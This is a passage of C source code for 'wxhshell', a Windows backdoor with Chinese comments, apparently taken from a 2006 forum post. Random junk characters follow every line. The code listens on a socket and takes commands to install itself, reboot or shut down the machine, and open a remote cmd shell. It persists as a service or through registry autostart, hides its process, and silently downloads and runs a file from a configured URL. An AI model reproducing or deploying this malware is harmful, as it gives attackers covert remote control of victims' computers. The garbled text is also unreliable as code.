    switch(cmd[0]) { I>N-95  
  0!3!?E <  
  // 帮助 d_4n0Kh0  
  case '?': { 6LSPPMM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S#dyRTmI  
    break; Ig40#pA  
  } t9KH|y  
  // 安装 eLHa9R{)B  
  case 'i': { ]=$-B  
    if(Install()) Hl%+F 0^?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >i><s>=I`  
    else 9`nP(~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &*V0(  
    break; ,Ut!u)  
    } `^s]?  
  // 卸载 &5kjjQ*HB  
  case 'r': { ?X8K$g  
    if(Uninstall()) ^L*VW gi9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,iA2s i  
    else Og&0Z)%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = y,yQO  
    break; [)b/uR  
    }  6Dr$*9  
  // 显示 wxhshell 所在路径 0ER6cTo-t  
  case 'p': { ; @[.$Q@I  
    char svExeFile[MAX_PATH]; a9mr-`<  
    strcpy(svExeFile,"\n\r"); 1*c0\:BQ;z  
      strcat(svExeFile,ExeFile); NO0[`jy(  
        send(wsh,svExeFile,strlen(svExeFile),0); KweHY,  
    break; i?P]}JENM  
    } K>DnD0  
  // 重启 *aSRKY  
  case 'b': { #nMP (ShK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eAenkUBz6,  
    if(Boot(REBOOT)) 8WLh]MD`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.k@!*  
    else { 1W6n[Xg  
    closesocket(wsh); I5|S8d<  
    ExitThread(0); v J,xz*rc`  
    } G`3vH,  
    break; a#^4xy:  
    } $48[!QE  
  // 关机 #L+s%OJ`  
  case 'd': { `5~o=g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :67d>wb  
    if(Boot(SHUTDOWN)) >P]I&S-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~FO:/  
    else { `[W)6OUCx}  
    closesocket(wsh); '!|E+P-  
    ExitThread(0); N;Gf,pE  
    } A.'`FtV  
    break; -7A!2mRiz  
    } 1J!tcj1(  
  // 获取shell 9M-]~.O  
  case 's': { G){1`gAhNJ  
    CmdShell(wsh); N?u2,h-  
    closesocket(wsh); *rMN,B@  
    ExitThread(0); b^=8%~?%4  
    break; h 19.b:JT  
  } X|QX1dl  
  // 退出 ?_h#>  
  case 'x': { iz|9a|k6x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )8A=yrTIT  
    CloseIt(wsh); SUQ}^gn]  
    break; EXM/>PG  
    } rq|czQ  
  // 离开 mm9S#Ya  
  case 'q': { u[% J#S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B2+_F"<;  
    closesocket(wsh); p44uozbK  
    WSACleanup(); fqp7a1qQl  
    exit(1); #| e5  
    break; h"%,eW|^  
        } $EHn ;~w T  
  } 7*8nUq  
  } ',-X#u  
p`V9+CA  
  // 提示信息 [}g5Z=l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Z)/  
} MyR\_)P?  
  } sT8kVN|Uv  
,2L,>?r6  
  return; OsuSx^}  
} ^L2Zo'y [  
r -DD*'R  
// shell模块句柄 gM/_:+bT>P  
int CmdShell(SOCKET sock) i3\oy`GJ  
{ JL*]9$o  
STARTUPINFO si; er}'}n`@q  
ZeroMemory(&si,sizeof(si)); xuC6EK+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \VzQ1B>k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X=7vUb,\gB  
PROCESS_INFORMATION ProcessInfo; ,kuFTWB  
char cmdline[]="cmd"; d=Ihl30m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >L3p qK   
  return 0; 2/W0y!qh1  
} @n y{.s+  
ntUVhIE0  
// 自身启动模式 T%b^|="@  
int StartFromService(void) t"m`P1  
{   rs KE  
typedef struct |6G5  ?|  
{ mTu9'/$(  
  DWORD ExitStatus; ]-]@=qYu  
  DWORD PebBaseAddress; H0:6zSsc=|  
  DWORD AffinityMask; j7%%/%$o[  
  DWORD BasePriority; yD'h5)yu  
  ULONG UniqueProcessId; 8TM=AV  
  ULONG InheritedFromUniqueProcessId; M%LwC/h:,  
}   PROCESS_BASIC_INFORMATION; 'r3}=z4Y  
tg4&j$  
PROCNTQSIP NtQueryInformationProcess; lY8Qy2k|  
(9QRg;   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 57%cN-v*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KPK!'4,cu  
w6Ny>(T/  
  HANDLE             hProcess; RB@gSHOc?  
  PROCESS_BASIC_INFORMATION pbi; zm.sX~j  
Y\F H4}\S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ` R-np_  
  if(NULL == hInst ) return 0; <GlV!y  
,S K6*tpI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /9gMcn9EB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U9%nku4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eesLTy D2_  
)W#g@V)>  
  if (!NtQueryInformationProcess) return 0; ImW~Jy  
`{[C4]Ew/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OF}_RGKg3  
  if(!hProcess) return 0; 3 +9|7=d  
TUCp mj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CawVC*b3  
T 0C'$1T  
  CloseHandle(hProcess); q&x#S_!  
cM Kh+r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wx`IEPsVbk  
if(hProcess==NULL) return 0; <T9m.:l  
}e|]G,NZO  
HMODULE hMod; BE;iC.rW  
char procName[255]; Sv",E@!f  
unsigned long cbNeeded; T!$HVHh&,}  
\}c50}#0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~)(Dm+vZ  
_3JTHf<+  
  CloseHandle(hProcess); AX?6Q4Gq1  
J> |`  
if(strstr(procName,"services")) return 1; // 以服务启动 fR{7780WZ  
z81!F'x;  
  return 0; // 注册表启动 Q4 S8NqE  
} 3j#F'M)s{  
%oQj^r!Xd  
// 主模块 \|s/_35(  
int StartWxhshell(LPSTR lpCmdLine) W;yZ$k#q}(  
{ HX^ P9jXT  
  SOCKET wsl; ObnB6ShKi  
BOOL val=TRUE; *8+YR  
  int port=0; 'JVvL  
  struct sockaddr_in door; &-tf/qJ  
ppS`zqq $  
  if(wscfg.ws_autoins) Install(); 7 |A,GH  
>^}z  
port=atoi(lpCmdLine); r 6<}S(  
\v_( *  
if(port<=0) port=wscfg.ws_port; $Vh82Id^  
h[?28q$  
  WSADATA data; Vy VC#AK,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [0emOS  
R8)"M(u=l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ; o=mL_[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8X5XwFf}  
  door.sin_family = AF_INET; pe-d7Ou P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^W*/!q7H  
  door.sin_port = htons(port); oB@C-(M  
sa($3`d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A |B](MW%O  
closesocket(wsl); i)ctrdP-  
return 1; h9mR+ng*oD  
} fy eS )  
[z9i v~  
  if(listen(wsl,2) == INVALID_SOCKET) { _!ed.h.r:  
closesocket(wsl); @AFLFX]  
return 1; 2I  
} L $~Id  
  Wxhshell(wsl); wl4yNC  
  WSACleanup(); qJsEKuOs  
Nx"?'-3Hm  
return 0; jn'8F$GU  
TV}SKvu  
} slbV[xR  
V& m\  
// 以NT服务方式启动 0NGokaD)H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N Jf''e3  
{ Ic*Q(X  
DWORD   status = 0; a)e2WgVB/E  
  DWORD   specificError = 0xfffffff; K(?7E6\vO  
Tr8+E;;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MB)xL-jO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '#fj)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RK,~mXA  
  serviceStatus.dwWin32ExitCode     = 0; anbr3L[!  
  serviceStatus.dwServiceSpecificExitCode = 0; AQ&;y&+QR  
  serviceStatus.dwCheckPoint       = 0; +hfl.OBy  
  serviceStatus.dwWaitHint       = 0; JGtdbD?Fw  
cG<?AR?wDT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O;w';}At  
  if (hServiceStatusHandle==0) return; <D__17W:;  
C-(&zwj?!  
status = GetLastError(); l"+=z.l6;  
  if (status!=NO_ERROR) l}m@9 ~oC  
{ #pZ3xa3R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~Oq(JM $M  
    serviceStatus.dwCheckPoint       = 0; rO C~U85  
    serviceStatus.dwWaitHint       = 0; qnOAIP:0  
    serviceStatus.dwWin32ExitCode     = status; .hvIq .vr  
    serviceStatus.dwServiceSpecificExitCode = specificError; gG}<l ':  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /q=<OEC  
    return; k,?k37%T]  
  } $V[ob   
z:w7e0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c9Cp!.#*E  
  serviceStatus.dwCheckPoint       = 0; Y!5-WX H  
  serviceStatus.dwWaitHint       = 0; ,QK>e;:Be  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @A:Xct  
} $+tkBM  
}{[F+|\>,e  
// 处理NT服务事件,比如:启动、停止 VL\6U05Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BUtXHD  
{ !Ed';yfz\(  
switch(fdwControl) [u<1DR  
{ k?_Miqr  
case SERVICE_CONTROL_STOP: !a  /  
  serviceStatus.dwWin32ExitCode = 0; 6`4=!ZfI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /vBpRm  
  serviceStatus.dwCheckPoint   = 0; MQhL>oQ  
  serviceStatus.dwWaitHint     = 0; !4|7U\;  
  { ]g:VvTJ;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X@ TQD  
  } <@oK ^ja  
  return; I(C_}I>Wb  
case SERVICE_CONTROL_PAUSE: `S%p D.g,2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d8av`m  
  break; myH#.$=A  
case SERVICE_CONTROL_CONTINUE: %KqXtc`O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n]|[|Rf1  
  break; &QvWT+]c'0  
case SERVICE_CONTROL_INTERROGATE: (}'0K?  
  break; .Zo8KwkFY  
}; fk=_ Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0rF{"HM~  
} @dGj4h.  
pm^[ve  
// 标准应用程序主函数 p VLfZ?78  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i: 1V\q%  
{ 7,Nd[ oL*7  
;|66AIwDe  
// 获取操作系统版本 w_6h $"^x  
OsIsNt=GetOsVer(); |NL$? %I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =xg pr*   
iGM-#{5  
  // 从命令行安装 ._#|h5  
  if(strpbrk(lpCmdLine,"iI")) Install(); {~VgXkjsC  
D.X%wJ8  
  // 下载执行文件 }]kzj0m  
if(wscfg.ws_downexe) { 8 "|')f#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !DXKn\aQf  
  WinExec(wscfg.ws_filenam,SW_HIDE); jf@#&%AC9  
} BoXQBcG]w  
ob-y {x,R  
if(!OsIsNt) { C}%g(YRhb  
// 如果时win9x,隐藏进程并且设置为注册表启动 Za5*HCo  
HideProc(); B]#0]-ua  
StartWxhshell(lpCmdLine); ! p458~|  
} &?v^xAr?B  
else MX]<tR`  
  if(StartFromService()) ^|(F|Z  
  // 以服务方式启动 }"E?#&^  
  StartServiceCtrlDispatcher(DispatchTable); u+kXJ  
else 7C F-?M!  
  // 普通方式启动 4cl}ouG  
  StartWxhshell(lpCmdLine); (ybKACx  
V_$BZm%8J  
return 0; skf7Si0z  
}
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只看该作者 1 发表于: 2006-10-10
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